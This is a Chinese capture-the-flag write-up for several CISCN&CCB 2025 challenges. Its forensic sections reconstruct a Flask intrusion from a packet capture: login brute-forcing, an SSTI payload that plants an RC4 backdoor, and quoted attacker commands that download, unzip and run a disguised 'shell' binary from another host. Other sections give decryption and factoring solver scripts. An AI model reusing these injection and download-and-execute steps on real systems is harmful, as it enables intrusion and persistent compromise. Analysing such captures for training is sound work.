CISCN&CCB2025初赛部分题解

流量分析

SnakeBackdoor-1

环境里没 tshark/scapy,就用 Python 直接读 pcap,按 pcap 头格式切包,再手写以太网/IPv4/TCP 解析,拿到每个包的五元组和 tcp_payload。

先在所有 TCP payload 里搜 POST/GET/HTTP/login/password 之类的关键字,很快定位到 192.168.1.200:5000 的 Web 流量(Werkzeug/Flask)。继续筛到 POST /admin/login,发现同一来源 192.168.1.111 连续提交很多次,明显在跑爆破。

对每个 POST /admin/login,用 \r\n\r\n 分开头部和正文,正文是表单:username=...&password=...,把 password 取出来做列表。然后把每次请求往后匹配同一连接的 HTTP 响应,重组一下 server->client 的 TCP 段读取状态行。

失败基本是 200 OK,页面里带“用户名或密码错误”,并且 session 清空;成功的是 302 FOUND,Location 跳到 /admin/panel,还下发有效 session。只有两次是 302,对应的请求体都是 password=zxcvbnm123

提交:flag{zxcvbnm123}

SnakeBackdoor-2

还是先用 Python 手搓解析 pcap,拿到每个包的 TCP payload。目标端口很明显是 192.168.1.200:5000(Flask/Werkzeug)。

我没直接去猜配置文件泄露,而是先全流量里搜敏感关键词:SECRET_KEY / secret_key / itsdangerous / config.py 这些。命中不多,里面有一条是服务器回给客户端的 HTML(src=192.168.1.200:5000 -> dst=192.168.1.111:55359),包号大概在 28822。

把这个包的完整 payload 拿出来(1460 字节),在里面搜索 SECRET_KEY,能看到一段类似调试输出的配置字典:

'SECRET_KEY': 'c6242af0-6891-4510-8432-e1cdf051f160'

因为页面里有 ' 这种 HTML 实体,我做了一次 unescape,再用正则把值扣出来,最后得到的 SECRET_KEY 就是:

flag{c6242af0-6891-4510-8432-e1cdf051f160}

SnakeBackdoor-3

先还是盯 192.168.1.111 -> 192.168.1.200:5000 的 HTTP。把发往 5000 的 TCP payload 扫一遍,重点看有没有 {{{% 这种模板符号,很快就抓到两条 POST /admin/preview,其中一条 Content-Length 特别大(4602),明显是注入。

把这条连接按 seq 简单重组,拿到完整请求体。里面是用 url_for.__globals__[...]exec(...) 执行一段 Python,核心就是 base64.b64decode('...')

接下来就是把它一层层还原:先取出最外层 base64 字符串解码,得到的内容里又定义了一个 lambda,模式基本固定:把某个很长的 bytes 字符串先反转,再 base64 解码,再 zlib 解压,然后 exec。后面重复了很多层,直接写个循环:只要还能匹配到 exec((_)(b'...')) 这种结构,就把里面的 bytes 抠出来继续“反转->b64->zlib”。

跑到最后一层,终于出来一段明文 python 后门源码,里面直接写了密钥: RC4_SECRET = b’v1p3r_5tr1k3_k3y’

所以这题要的 Key 就是这个字符串。

提交:flag{v1p3r_5tr1k3_k3y}

SnakeBackdoor-4

  • 流量里能看到多次 POST /admin/*,都带同一个头:X-Token-Auth: 3011aa21232beb7504432bfa90d32779,POST 体是 data=<hex>
  • data 是 RC4 加密的命令:RC4_SECRET = v1p3r_5tr1k3_k3y(第二题得到)
  • data 先 hex 解码,再用 RC4 解密,能还原出执行链:
  1. curl 192.168.1.201:8080/shell.zip -o /tmp/123.zip
  2. unzip -P nf2jd092jd01 -d /tmp /tmp/123.zip(解压密码也在这里)
  3. mv /tmp/shell /tmp/python3.13
  4. chmod +x /tmp/python3.13
  5. /tmp/python3.13(执行)

结论:被执行的后门二进制文件名是 python3.13 flag{python3.13}

SnakeBackdoor-5

通过分析 attack.pcap,发现攻击者(IP: 192.168.1.111)针对目标主机(IP: 192.168.1.200,运行 Flask 应用)发起了多次扫描和攻击。

攻击者利用漏洞使目标主机从恶意文件服务器(192.168.1.201:8080)下载了 shell.zip。压缩包被加密。通过分析 HTTP 流量或尝试常用弱口令,确定密码为 nf2jd092jd01。受感染主机(192.168.1.200)与 C2 服务器(192.168.1.201:58782)建立了 TCP 连接。通信内容被加密,且前 4 个字节固定为种子值。

从 shell.zip 中提取出名为 shell 的 ELF 文件,并进行静态分析。

密钥生成算法

逆向分析显示,恶意软件通过以下步骤生成加密密钥:

  1. 种子获取: 从 C2 服务器接收 4 字节数据(大端序),转换为整数作为随机数种子。
  2. 随机数生成: 调用 srand(seed) 初始化随机数生成器。
  3. 密钥构造: 连续调用 4 次 rand(),将生成的 4 个整数按小端序拼接成 16 字节的 AES 密钥。

从 attack.pcap 的 TCP 流中提取出 C2 服务器发送的种子数据:

  • Seed Bytes: 34 95 20 46
  • Seed Value: 0x34952046 (十进制: 882188358)

使用 Python 的 ctypes 库模拟 glibc 的 rand() 生成密钥:

import ctypes
import struct
​
libc = ctypes.CDLL("libc.so.6")
​
# 设置种子
seed = 0x34952046
libc.srand(seed)
​
# 生成 4 个随机数
r1 = libc.rand()
r2 = libc.rand()
r3 = libc.rand()
r4 = libc.rand()
​
# 拼接密钥 (小端序)
key = struct.pack("<IIII", r1, r2, r3, r4)
print(f"Key: {key.hex()}")

计算结果:

  • r1: 1643857580 (0x61fb46ac)
  • r2: 1329279243 (0x4f3b310b)
  • r3: 761592882 (0x2d64fc32)
  • r4: 1454650504 (0x56b43488)
  • Key Hex: ac46fb610b313b4f32fc642d8834b456

使用生成的密钥尝试解密后续的加密流量(AES-ECB 模式),成功解密并还原出通信内容,证实密钥正确。

Flag: flag{ac46fb610b313b4f32fc642d8834b456}

SnakeBackdoor-6

通过分析 HTTP 流量(端口 5000),发现攻击者(IP: 192.168.1.111)对目标 Flask 服务器(IP: 192.168.1.200)实施了 SSTI(服务器端模板注入)攻击。

攻击者通过 /admin/preview 接口发送了恶意的 SSTI payload,其中包含了经过 base64 编码和 zlib 压缩的 Python 代码。注入的代码在服务器上植入了一个基于 Flask 的后门,该后门通过 X-Token-Auth 头进行验证,并使用 RC4 算法加密通信(密钥: v1p3r_5tr1k3_k3y)。

通过解密 RC4 后门流量,发现攻击者进一步执行命令下载了一个名为 shell.zip 的文件:

  • 命令: curl 192.168.1.201:8080/shell.zip -o /tmp/123.zip
  • 解压: unzip -P nf2jd092jd01 -d /tmp /tmp/123.zip
  • 执行: ./shell

我们从 PCAP 中提取了 shell.zip,并使用嗅探到的密码 nf2jd092jd01 成功解压出 shell 二进制文件。

逆向 shell ELF 文件发现,它实现了一个自定义的加密通信协议:

  1. 种子交换: 客户端连接 C2 服务器(192.168.1.201:58782),服务器首先发送 4 字节种子(大端序)。
  2. 密钥派生: 客户端接收种子后,将其转换为小端序整数,作为 srand() 的种子。随后调用 4 次 glibc 的 rand() 函数生成 4 个 32 位整数。
  3. 密钥构造: 这 4 个整数按小端序拼接成 16 字节的 SM4 密钥

虽然二进制文件使用了 SM4 算法结构(包括标准的 FK 和 CK 常量),但它使用了 自定义的 S-Box。此外,它在 S-Box 替换步骤中使用了反转的字节顺序。我们从二进制文件中提取了自定义 S-Box,并实现了一个兼容的解密器。

从 C2 流量(端口 59814 <-> 58782)中提取出服务器发送的种子 0x34952046。 使用 Python ctypes 调用 glibc 生成密钥:

import ctypes, struct
libc = ctypes.CDLL("libc.so.6")
seed = 0x46209534 
libc.srand(seed)
key = b''.join(struct.pack("<I", libc.rand() & 0xffffffff) for _ in range(4))
# Key: ac46fb610b313b4f32fc642d8834b456

解密 C2 通信

使用提取的密钥和自定义 SM4 算法解密流量。发现攻击者执行了 cat /flag 命令,但为了混淆,使用了 tr 命令替换字符:

  • 命令: cat /flag | tr ‘1’ ‘l’ | tr ‘0’ ‘O’
  • 解密输出: flag{6894c9ec-7l9b-46O5-82bf-4felde27738f}

将混淆字符还原(l -> 1, O -> 0),得到最终 Flag。

Flag: flag{6894c9ec-719b-4605-82bf-4fe1de27738f}

逆向工程

babyhame

通过观察文件体积并使用 strings 或 binwalk 分析,发现文件中包含 GDPC 和 Godot 字符串,确认这是一个基于 Godot 引擎 开发的游戏。

Godot 游戏的资源通常打包在 .pck 文件中。对于单文件发布的游戏(如本题),.pck 数据通常被附加在 .exe 文件的末尾。

通过分析文件末尾数据或使用工具(如 Godot RE Tools / gdsdecomp),定位到嵌入的 PCK 数据段并提取出游戏脚本(.gd 或编译后的 .gdc)。

重点关注以下脚本文件:

  1. game_manager.gd(游戏逻辑控制)
  2. Flag.gd 或相关的验证脚本(负责处理输入验证)

密钥生成逻辑

在 game_manager 脚本中,发现了一个硬编码的初始密钥变量:

var encryption_key = "FanAglFanAglOoO!"

游戏中存在收集金币的机制(Coin 到 Coin9,共9枚)。分析金币收集的回调函数发现关键逻辑:

  • 条件: 当玩家收集完所有金币后。
  • 动作: 触发密钥变更逻辑,将初始密钥中的字符 ‘A’ 替换为 ‘B’。

最终密钥计算:

初始 Key: FanAglFanAglOoO!
变换操作: replace('A', 'B')
最终 Key: FanBglFanBglOoO!

在 Flag 验证脚本中,分析出验证算法如下:

加密模式: AES-ECB (AESContext.MODE_ECB_ENCRYPT)。

输入处理: 获取用户输入的字符串,转换为 UTF-8 字节。

加密过程: 使用 最终 Key 对输入进行 AES 加密。**

比对目标: 加密结果转为十六进制字符串(Hex String)后,与硬编码的密文进行比对。

硬编码的密文 (Hex):

d458af702a680ae4d089ce32fc39945d

既然知道了算法(AES-ECB)、密钥(最终 Key)和密文,我们可以直接编写脚本进行逆向解密,无需真正运行游戏去吃金币。

Python 解密脚本

from Crypto.Cipher import AES
import binascii
​
ciphertext_hex = "d458af702a680ae4d089ce32fc39945d"
ciphertext = binascii.unhexlify(ciphertext_hex)
​
# 原始 Key,逻辑: 收集完金币后 'A' 变为 'B'
key_str = "FanBglFanBglOoO!"
key = key_str.encode('utf-8')
​
#  AES ECB 解密
cipher = AES.new(key, AES.MODE_ECB)
try:
    decrypted_bytes = cipher.decrypt(ciphertext)
    print(f"Decrypted Hex: {decrypted_bytes.hex()}")
    print(f"Decrypted String (Flag): {decrypted_bytes.decode('utf-8')}")
except Exception as e:
    print(f"Error: {e}")

运行解密脚本得到明文:wOW~youAregrEaT!

Flag:flag{ wOW~youAregrEaT!}

wasm-login

  • 任务: 恢复一个与登录成功相关的 13 位毫秒级时间戳。
  • 已知条件:登录时间大概在 2025年12月的第三个周末 之后,也就是 周一 (12月22日) 凌晨。登录认证数据的 MD5 校验值 前 16 位为 ccaf33e3512e31f3。使用的用户名和密码为默认的 admin / admin。认证算法逻辑在 WebAssembly (WASM) 文件 release.wasm 中。

通过分析 release.wasm 及其对应的 Source Map (release.wasm.map),我还原了 authenticate 函数的生成逻辑:

最终生成的认证数据是一个 JSON 字符串,格式如下:

{"username":"admin","password":"<EncodedPassword>","signature":"<Signature>"}

其中:

  • Username: admin
  • Password: 经过 自定义 Base64 编码后的字符串。
  • Signature: 使用 时间戳 作为密钥,对 {“username”:”admin”,”password”:”…”} 进行 自定义 HMAC-SHA256 签名,再经过 自定义 Base64 编码。
  1. 自定义 Base64 表: 标准 Base64 表被替换为: NhR4UJ+z5qFGiTCaAIDYwZ0dLl6PEXKgostxuMv8rHBp3n9emjQf1cWb2/VkS7yO密码 admin 编码后为 L0In602=。
  2. 自定义 HMAC-SHA256: 标准的 HMAC 算法使用异或常量 0x36 (ipad) 和 0x5C (opad)。而本题的实现中修改了这些常量:ipad XOR 常量: 0x76opad XOR 常量: 0x3COuter Hash 顺序: 先输入 innerHash 再输入 opad(与标准 HMAC 相反)。
  3. 最终校验 (Check): 对生成的 AuthData JSON 字符串计算标准 MD5 哈希。我们的目标是找到一个时间戳,使得该 MD5 哈希以 ccaf33e3512e31f3 开头。

题目提示时间为 2025年12月第三个周末(12月20-21日)后的周一凌晨。

  • 目标日期: 2025年12月22日 (周一)
  • 时间窗口: 考虑北京时间 (UTC+8) 凌晨 00:00 到 06:00。
  • 时间戳范围: 约 1766332800000 到 1766354400000 (UTC 12月21日 16:00 – 22:00)。

高性能爆破脚本 (C语言)

由于搜索空间较大(约 2100 万个毫秒级时间戳),使用 C 语言结合 OpenSSL 库进行优化爆破。

核心代码逻辑:

int main(int argc, char **argv) {
    const unsigned char target_prefix[8] = {0xcc,0xaf,0x33,0xe3,0x51,0x2e,0x31,0xf3};
    
    const char json_prefix[] = "{\"username\":\"admin\",\"password\":\"L0In602=\",\"signature\":\"";
    const char json_suffix[] = "\"}";
​
    for (int64_t ts = start_ms; ts <= end_ms; ++ts) {
        char ts_str[32];
        sprintf(ts_str, "%lld", ts);
        unsigned char sigBytes[32];
        custom_hmac_sha256(ts_str, msg_str, sigBytes);
​
        //  自定义 Base64 编码
        char signature_b64[45];
        custom_b64_encode(sigBytes, signature_b64);
​
        // 拼接 JSON 并计算 MD5
        MD5_CTX ctx;
        MD5_Init(&ctx);
        MD5_Update(&ctx, json_prefix, strlen(json_prefix));
        MD5_Update(&ctx, signature_b64, 44);
        MD5_Update(&ctx, json_suffix, strlen(json_suffix));
        MD5_Final(md5_digest, &ctx);
​
        if (memcmp(md5_digest, target_prefix, 8) == 0) {
            printf("FOUND ts=%lld\n", ts);
            return 0;
        }
    }
    return 0;
}

在设定的时间范围内运行爆破程序,迅速找到了匹配的时间戳:

  • 匹配时间戳: 1766334550699
  • 对应时间: 2025-12-22 00:29:10 (UTC+8)
  • 完整 MD5: ccaf33e3512e31f32463a566675005c5

题目要求的 Flag 即为该时间戳生成的完整 MD5 校验值(包裹在 flag{} 中)。

Flag: flag{ccaf33e3512e31f32463a566675005c5}

Eternum

分析 tcp.pcap 流量与 kworker 二进制文件

tcp.pcap: 包含客户端(kworker)与服务器(192.168.8.160:13337)通信的加密流量。kworker: 客户端程序,是一个经过 UPX 压缩的 64 位 ELF 可执行文件(Go 语言编写)。

通过手动解析 tcp.pcap,发现客户端(192.168.8.178)与服务器(192.168.8.160)建立了 TCP 连接并传输了若干消息。

每个消息都以固定的魔术字节开头:

  • Magic: ET3RNUMX (8 bytes)
  • Length: Big-endian uint32 (4 bytes)
  • Payload: Length 字节的负载数据

消息负载的结构符合 AES-GCM 加密模式:

  • Nonce: 前 12 字节
  • Ciphertext: 中间部分
  • Tag: 后 16 字节

由于 kworker 被 UPX 加壳,我采用了一种动态提取的方法:

  1. 运行 kworker 并在其解压自身后立即挂起(使用 SIGSTOP)。
  2. 通过 /proc/<pid>/mem 读取其内存映射中的代码段(.text)和只读数据段(.rodata)。
  3. 重构出一个未压缩的 ELF 文件以供静态分析。

在解压后的内存中,并未直接找到明显的密钥字符串。通过暴力枚举和分析,最终在二进制文件的 .data 段(读写数据段)中发现了一个 32 字节的硬编码密钥。

AES-GCM Key (Hex):

7866714763566a724f57703574554743504651713434386e50446a494c546537

(ASCII: xfqGcVjrOWp5tUGCPFQq448nPDjILTe7)

使用提取出的密钥和从流量中获取的 Nonce/Tag,成功解密了所有消息。解密后的明文是 Protobuf 序列化数据。

Protobuf 消息分析:

通过提取并解析内嵌的 Eternum/etop.proto 描述符,确定了消息结构:

CommandRequest**: 服务器发送命令(如 ls, base32)。

CommandResponse: 客户端返回命令执行结果。

在解密后的第 7 条客户端消息(C msg 7)中,发现了一个 Base32 编码的字符串,这是对服务器命令 base32 /var/opt/s*/ 的响应。

加密负载 (Base32):

MZWGCZ33MI3WGNJYG4YDALJSMIYDCLJUMRSDILJYGUZDMLLBGRQTIN3BGY2WCMLBHF6QU===

对上述 Base32 字符串进行解码:

import base64
b32 = "MZWGCZ33MI3WGNJYG4YDALJSMIYDCLJUMRSDILJYGUZDMLLBGRQTIN3BGY2WCMLBHF6QU==="
flag = base64.b32decode(b32).decode()
print(flag)

Output: flag{b7c58700-2b01-4dd4-8526-a4a47a65a1a9}

Flag: flag{b7c58700-2b01-4dd4-8526-a4a47a65a1a9}

vvvmmm

运行后输出一段 Elden Ring 的台词+ASCII 图,然后读 48 字节

input %48c>

输入不对就 Try again~,对了就:

Good.
flag{...}

strings 直接能看到 UPX 特征:

file vvvmmm
strings -a vvvmmm | head

会看到诸如 UPX!UPX0/UPX1 一类的痕迹。

直接脱壳

upx -d vvvmmm -o unpacked

定位 Unicorn/RISC-V 的关键调用点

在 dump 出来的 x86_64 代码段里(raw binary)用 objdump 直接反汇编并搜 0x296(662):

objdump -D -b binary -m i386:x86-64 --adjust-vma=0x401000 memfd_upx_dump.bin | grep "\$0x296"

能看到类似片段(核心点):

  • uc_open
  • uc_mem_map(0, 0x1000...)
  • uc_mem_write(0, <riscv_blob>, 0x296)
  • uc_mem_write(0x10000000, input, 0x30)
  • uc_mem_write(0x10001000, key, 0x20)
  • uc_emu_start(begin=0, until=0x296, timeout=0x1e8480, count=0)
  • uc_reg_read(A0)(RISC-V 返回值)

同时能追到两个很关键的指针(在 x86_64 里是 r14/r15):

  • RISC-V blob 地址0x64c3f0,长度 0x296
  • key 字符串地址0x64c6c0,长度 0x20

key 的内容是:

e4Y8YRXVzg2HRrCUy35CM0Txq91HzMGZ

把 RISC-V blob 拿出来并反汇编

从数据段 dump 里按偏移切出 blob:

  • 数据段映射基址:0x64c000
  • blob:0x64c3f0 → 偏移 0x3f0
  • key:0x64c6c0 → 偏移 0x6c0

反汇编 RISC-V raw blob(LLVM 工具链很好用):

llvm-objcopy -I binary -O elf64-littleriscv --binary-architecture=riscv64 riscv_blob.bin riscv_blob.elf
llvm-objdump -D --triple=riscv64 --mattr=+c,+m,+a riscv_blob.elf

RISC-V 代码分两段:

A) 生成 12 个 32-bit 掩码,XOR 输入得到 12 个 word(共 48 字节)

  • 输入地址:0x10000000
  • 它把输入当成 12 个 little-endian 的 uint32in[0..11]
  • 用一个 PRNG(看起来很花,但本质就是在模 0x13579bdf 下不断乘/取模)生成掩码:
    • 每轮生成一对 (mask_even, mask_odd)
    • 共 6 轮 → 12 个 mask
  • 得到中间值 W[i] = in[i] XOR mask[i]

PRNG 的初始种子来自 key 的 64-bit hash(注意是 64 位,不是 32 位!):

h = 1
h = (31*h + key[i]) mod 2^64
seed_a4 = h
seed_a2 = (h >> 16)   (逻辑右移)

B) 把 12 个 W[i] 跟 12 个常量对比

后半段就是:

  • t = W[i] XOR CONST[i]
  • seqz 检查是否为 0
  • 统计 12 项是否全对
  • 全对则返回 a0 = 1,否则 a0 = 0

因此 目标非常清晰

W[i] == CONST[i],则必过。

于是可以反推输入

in[i] = CONST[i] XOR mask[i]

直接反推得到输入(即 flag 内容)

12 个 CONST(从 RISC-V 的 lui/addi/xor 直接读出来)为:

W0  = 0x45034f63
W1 = 0x534762d2
W2 = 0x44b36d04
W3 = 0x44c3ed6a
W4 = 0x79bb60b0
W5 = 0x42a1e767
W6 = 0x3edb7e6c
W7 = 0x30e1551d
W8 = 0x4d3abaa4
W9 = 0x6aa29948
W10 = 0x51ce8847
W11 = 0x51623faf

用正确的 64-bit hash 种子跑 PRNG 6 轮,反推出来的 48 字节输入是可打印字符串

fANUES0XtUXBDEbOXs4xFcXDb3Q5kMU87bZLMZJfuRnCvfwX

复现脚本:

#!/usr/bin/env python3
import struct

KEY = b"e4Y8YRXVzg2HRrCUy35CM0Txq91HzMGZ"
MOD = 0x13579bdf

def u32(x): return x & 0xffffffff
def u64(x): return x & 0xffffffffffffffff

def remuw(rs1, rs2):
   a = u32(rs1); b = u32(rs2)
   return u32(a % b)

def remu(rs1, rs2):
   a = u64(rs1); b = u64(rs2)
   return a % b

def mul(rs1, rs2):
   return u64(u64(rs1) * u64(rs2))

def mulhu(rs1, rs2):
   return (u64(rs1) * u64(rs2)) >> 64

def hash64(key: bytes) -> int:
   h = 1
   for b in key:
       h = u64(31*h + b)
   return h

def prng_step(a2, a4):
   # 复刻 RISC-V 里 0x74..0x184 那段(只保留数值计算)
   a3 = MOD
   a5 = MOD
   s0 = s1 = s2 = s3 = s4 = t0 = t1 = t2 = t3 = t4 = t5 = t6 = MOD

   a2 = remuw(a2, a3)
   a3 = remuw(a4, MOD)
   a4 = remuw(a2, MOD)
   a5 = remuw(a3, MOD)

   A2s = u64(a2 << 32)
   A4s = u64(a4 << 32)
   a4 = remu(mulhu(A4s, A2s), MOD)

   A3s = u64(a3 << 32)
   A5s = u64(a5 << 32)
   a5 = remu(mulhu(A5s, A3s), MOD)

   a2 = u64(A2s >> 32)
   a3 = u64(A3s >> 32)

   a4 = remu(mul(a4, a2), MOD)
   a5 = remu(mul(a5, a3), MOD)

   # 后面很多次 mul/remu,模数都等于 MOD
   for _ in range(9):
       a4 = remu(mul(a4, a2), MOD)
       a5 = remu(mul(a5, a3), MOD)

   a2 = remu(mul(a4, a2), MOD)
   a4 = remu(mul(a5, a3), MOD)
   return u32(a2), u32(a4)

def main():
   h = hash64(KEY)
   a4 = h
   a2 = (h >> 16)

   # 目标 12 个 word(从 RISC-V 后半段 xor 常量反推)
   W = [
       0x45034f63, 0x534762d2, 0x44b36d04, 0x44c3ed6a,
       0x79bb60b0, 0x42a1e767, 0x3edb7e6c, 0x30e1551d,
       0x4d3abaa4, 0x6aa29948, 0x51ce8847, 0x51623faf,
  ]

   masks = []
   for _ in range(6):
       a2, a4 = prng_step(a2, a4)
       masks.append((a2, a4))

   inp_words = []
   for k, (me, mo) in enumerate(masks):
       inp_words.append(u32(W[2*k] ^ me))
       inp_words.append(u32(W[2*k+1] ^ mo))

   payload = b"".join(struct.pack("<I", w) for w in inp_words)
   s = payload.decode("ascii")
   print("input =", s)
   print("flag{"+s+"}")

if __name__ == "__main__":
   main()

所以最终 flag: flag{fANUES0XtUXBDEbOXs4xFcXDb3Q5kMU87bZLMZJfuRnCvfwX}

密码学

EzFlag

通过 strings 命令分析二进制文件,发现了关键字符串:

  • 提示信息: Enter password:
  • 硬编码密码: V3ryStr0ngp@ssw0rd
  • Flag 前缀: flag{
  • 常量字符串 (K): 012ab9c3478d56ef (用于生成 Flag 字符的映射表)

通过 objdump 反汇编 main 函数和辅助函数 f,梳理出程序逻辑:

  1. 密码验证: 程序读取用户输入并与 V3ryStr0ngp@ssw0rd 比较。如果匹配,进入 Flag 生成流程。
  2. 种子初始化: 初始种子 seed 设为 1。
  3. 循环生成字符:循环 32 次。每次调用函数 f(seed) 获取一个字符。更新种子:seed = (seed * 8) + (i + 0x40)。在索引 7, 12, 17, 22 处插入连字符 -。
  4. 函数 f(n):计算斐波那契数列的第 n 项模 16 的值 (F_n % 16)。使用该值作为索引,从字符串 K (“012ab9c3478d56ef”) 中查找对应的字符并返回。

斐波那契数列模 16 是周期性的(Pisano Period),其周期长度为 24。我们可以预计算这个序列: F_mod16 = [0, 1, 1, 2, 3, 5, 8, 13, 5, 2, 7, 9, 0, 9, 9, 2, 11, 13, 8, 5, 13, 2, 15, 1]

由于直接运行原程序受限于环境且计算量可能过大(虽然这里有 Sleep),我们用 Python 脚本模拟生成逻辑:

K = "012ab9c3478d56ef"
mask = (1 << 64) - 1  

# 计算斐波那契数列模 16 (周期 24)
F_mod = []
a, b = 0, 1
for _ in range(24):
   F_mod.append(a)
   a, b = b, (a + b) % 16

def get_char(seed):
   idx = F_mod[seed % 24]
   return K[idx]

seed = 1
flag_chars = []

for i in range(32):
   char = get_char(seed)
   flag_chars.append(char)
   
   if i in [7, 12, 17, 22]:
       flag_chars.append('-')
       
   # 更新种子:seed = seed * 8 + (i + 0x40)
   seed = ((seed << 3) + (i + 0x40)) & mask

final_flag = "flag{" + "".join(flag_chars) + "}"
print(f"Flag: {final_flag}")

运行脚本得到的 Flag 为:

Flag: flag{10632674-1d219-09f29-14769-f60219a24}

RSA_NestingDoll

通过分析提供的 src.py和 output.txt 中的数据,我们可以确定该题目的加密结构如下:

  1. 模数结构:n 是一个 4096 位的模数,由 4 个 1024 位的质数相乘得到:n=p⋅q⋅r⋅sn=p⋅q⋅r⋅s。n1 是一个 2048 位的数,由 4 个 512 位的“内部质数”相乘得到:n1=p1⋅q1⋅r1⋅s1n1=p1⋅q1⋅r1⋅s1关键关系:外部质数与内部质数存在特定关系,例如 p=k1⋅p1+1p=k1⋅p1+1。其中 k1k1 是一个“光滑数”(Smooth Number),即它只包含较小的质因子。
  2. 漏洞利用:由于 p−1=k1⋅p1p−1=k1⋅p1,且 p1p1n1n1 的因子,k1k1 由小质数组成,这意味着 p−1p−1 对于 BB-光滑部分(小质数部分)和已知的大因子 n1n1 的乘积是光滑的。这种情况非常适合使用 Pollard’s **p−1p−1** 分解算法。如果我们构造一个指数 E=n1⋅LCM(1…B)E=n1⋅LCM(1…B),那么 aE≡1(modp)aE≡1(modp) 很大概率成立。通过计算 gcd(aE−1,n)gcd(aE−1,n),我们可以分解出 nn 的因子。

优化 Pollard’s p−1算法:

由于 nn 非常大(4096位),直接计算大指数幂非常耗时。

策略:预先筛选出 B=220B=220 以内的所有质数,并计算其幂次。将这些幂次分块(Chunking),逐步对基数 aa 进行模幂运算。每计算完一块就检查一次 GCD,以便在超时前找到因子。

分解 nn:

利用上述算法,我们成功将 nn 分解为 4 个 1024 位的质数(在交互过程中分别解出)

恢复内部质数 (**p1,q1,r1,s1p1,q1,r1,s1**)

  • 利用关系 p1∣(p−1)p1∣(p−1),我们可以通过计算 gcd(p−1,n1)gcd(p−1,n1) 来直接求出对应的内部质数 p1p1
  • nn 的 4 个因子重复此步骤,得到 n1n1 的 4 个因子

题目实际上是在模 n1n1 下进行的 RSA 加密(或者类似的群结构),利用恢复出来的 p1,q1,r1,s1p1,q1,r1,s1 计算欧拉函数: ϕ=(p1−1)(q1−1)(r1−1)(s1−1)ϕ=(p1​−1)(q1​−1)(r1​−1)(s1​−1)计算私钥 d=e−1(modϕ)d=e−1(modϕ)。解密明文 m=cd(modn1)m=cd(modn1)

完整解题脚本 (Python)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-

import re
import sys
from pathlib import Path

try:
    import gmpy2
except ImportError:
    print("[!] 需要 gmpy2", file=sys.stderr)
    raise

mpz = gmpy2.mpz
gcd = gmpy2.gcd
powmod = gmpy2.powmod
is_prime = gmpy2.is_prime

E = 65537

def read_output_same_dir():
    p = Path(__file__).resolve().parent / "output.txt"
    if not p.exists():
        raise FileNotFoundError(f"找不到 {p},请把 output.txt 放到脚本同目录。")
    text = p.read_text(encoding="utf-8", errors="ignore")
    nums = list(map(int, re.findall(r'=\s*(\d+)', text)))
    if len(nums) != 3:
        raise ValueError("output.txt 没解析到 3 个整数(n1, n, c)。")
    n1, n, c = map(mpz, nums)
    return p, n1, n, c

def prime_powers_upto(B: int):
    """返回所有 p^k <= B(p 为素数,k>=1)的最大幂列表。"""
    sieve = bytearray(b"\x01") * (B + 1)
    sieve[0:2] = b"\x00\x00"
    lim = int(B**0.5) + 1
    for i in range(2, lim):
        if sieve[i]:
            start = i * i
            sieve[start:B+1:i] = b"\x00" * (((B - start) // i) + 1)

    pps = []
    for p in range(2, B + 1):
        if sieve[p]:
            pp = p
            while pp * p <= B:
                pp *= p
            pps.append(pp)
    return pps

def pm1_find_factor(m: mpz, n1: mpz, pps, base: int, block_pp_count: int = 512, verbose: bool = True):
    """
    Pollard p-1 stage1 with embedded factor n1:
      a = base^n1 mod m
      then a = a^(lcm(1..B)) mod m (通过 prime powers)
    分块把 exponent = ∏pp 累乘到一个块里,减少 powmod 次数。
    """
    if m % 2 == 0:
        return mpz(2)

    a = powmod(mpz(base) % m, n1, m)
    exp = mpz(1)
    cnt = 0

    # 分块指数:每 block_pp_count 个 pp 做一次 powmod
    for i, pp in enumerate(pps, 1):
        exp *= pp
        cnt += 1
        if cnt >= block_pp_count:
            a = powmod(a, exp, m)
            exp = mpz(1)
            cnt = 0
            g = gcd(a - 1, m)
            if verbose and i % (block_pp_count * 20) == 0:
                # 稀疏打印进度
                print(f"    [pm1] base={base} progressed {i}/{len(pps)}  gcd_bits={int(g.bit_length())}", flush=True)
            if 1 < g < m:
                return g

    if exp != 1:
        a = powmod(a, exp, m)

    g = gcd(a - 1, m)
    if 1 < g < m:
        return g
    return None

def factor_all_pm1(n: mpz, n1: mpz, pps, bases, verbose=True):
    """
    递归用 p-1 分解到素数为止(本题期望 4 个 1024-bit)。
    """
    def rec(x):
        if x == 1:
            return []
        if is_prime(x):
            return [x]

        for b in bases:
            g = pm1_find_factor(x, n1, pps, base=b, block_pp_count=512, verbose=verbose)
            if g is None or g == 1 or g == x:
                continue
            return rec(g) + rec(x // g)

        return None  # 本轮 B 不够 / base 不合适

    return rec(n)

def recover_inner_primes(outer_primes, n1: mpz):
    rem = mpz(n1)
    inner = []
    for P in outer_primes:
        g = gcd(P - 1, rem)
        if g > 1:
            inner.append(g)
            rem //= g
    if rem != 1:
        inner.append(rem)
    inner.sort()
    return inner

def decrypt_and_extract_flag(n1: mpz, c: mpz, inner_primes):
    phi = mpz(1)
    for p in inner_primes:
        phi *= (p - 1)

    d = gmpy2.invert(mpz(E), phi)
    m = powmod(c, d, n1)

    k = (int(n1.bit_length()) + 7) // 8
    pt = int(m).to_bytes(k, "big").lstrip(b"\x00")

    mflag = re.search(rb"flag\{[^}]+\}", pt)
    if mflag:
        return mflag.group(0).decode("ascii", errors="replace")
    return pt.decode("utf-8", errors="replace")

def main():
    out_path, n1, n, c = read_output_same_dir()
    print(f"[+] Loaded: {out_path}")
    print(f"[+] n1 bits = {int(n1.bit_length())}")
    print(f"[+] n  bits = {int(n.bit_length())}")
    print(f"[+] c  bits = {int(c.bit_length())}")
    print(f"[+] gmpy2 = OK")

    bases = [2, 3, 5, 7, 11, 13, 17, 19, 23, 29]

    for B in [2**20, 2**21, 2**22]:
        print(f"[+] Trying B={B} ...")
        pps = prime_powers_upto(B)
        print(f"[+] prime powers count = {len(pps)}")

        outer = factor_all_pm1(n, n1, pps, bases, verbose=True)
        if outer is None:
            print(f"[!] B={B} 没分解出来(可能 B 还不够/换 base 也不行),继续加大 B。")
            continue

        outer.sort()
        if len(outer) != 4:
            print(f"[!] B={B} 分解得到 {len(outer)} 个因子(期望 4 个),继续加大 B。")
            continue

        # 校验乘积
        prod = mpz(1)
        for x in outer:
            prod *= x
        if prod != n:
            print("[!] 因子乘积不等于 n(很少见,可能出现复合因子),继续加大 B。")
            continue

        print("[+] outer primes bitlengths:", [int(x.bit_length()) for x in outer])

        inner = recover_inner_primes(outer, n1)
        print("[+] inner primes bitlengths:", [int(x.bit_length()) for x in inner])

